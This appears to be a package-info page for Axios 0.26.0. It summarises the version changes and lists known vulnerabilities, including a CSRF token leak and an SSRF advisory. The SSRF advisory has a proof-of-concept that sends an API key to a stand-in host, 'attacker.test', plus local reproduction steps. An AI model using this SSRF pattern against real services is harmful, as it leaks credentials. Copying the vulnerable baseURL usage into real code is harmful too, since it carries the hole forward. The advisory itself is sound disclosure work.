Axios version 0.26.0 represents a minor update over its predecessor, version 0.25.0, in this popular promise-based HTTP client designed for both browser and Node.js environments. Examining the dependencies, the core difference lies in the updated follow-redirects dependency, shifting from version ^1.14.7 to ^1.14.8. This seemingly small increment likely addresses bug fixes or minor enhancements within the redirect handling mechanism, potentially improving the reliability and security of requests that involve server-side redirects.
While the development dependencies remain largely consistent, indicating that the core development workflow and testing methodologies haven't significantly changed, developers should pay attention to the updated follow-redirects package. This update can affect applications that rely on specific redirect behaviors or those sensitive to potential vulnerabilities in the redirect handling process.
Furthermore, the subtle increase in unpackedSize from 396102 to 396948 suggests minor code additions or modifications, though the functional impact is unlikely to be extensive. The release date difference, approximately a month apart, indicates a regular cadence of updates and maintenance for the Axios library, reinforcing its commitment to stability and addressing community-reported issues. Ultimately, upgrading to 0.26.0 provides a slightly refined and more secure version of Axios, primarily beneficial for applications heavily reliant on HTTP redirects.
All the vulnerabilities related to the version 0.26.0 of the package
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
baseURL and does not validate path parameters is affected by this issue.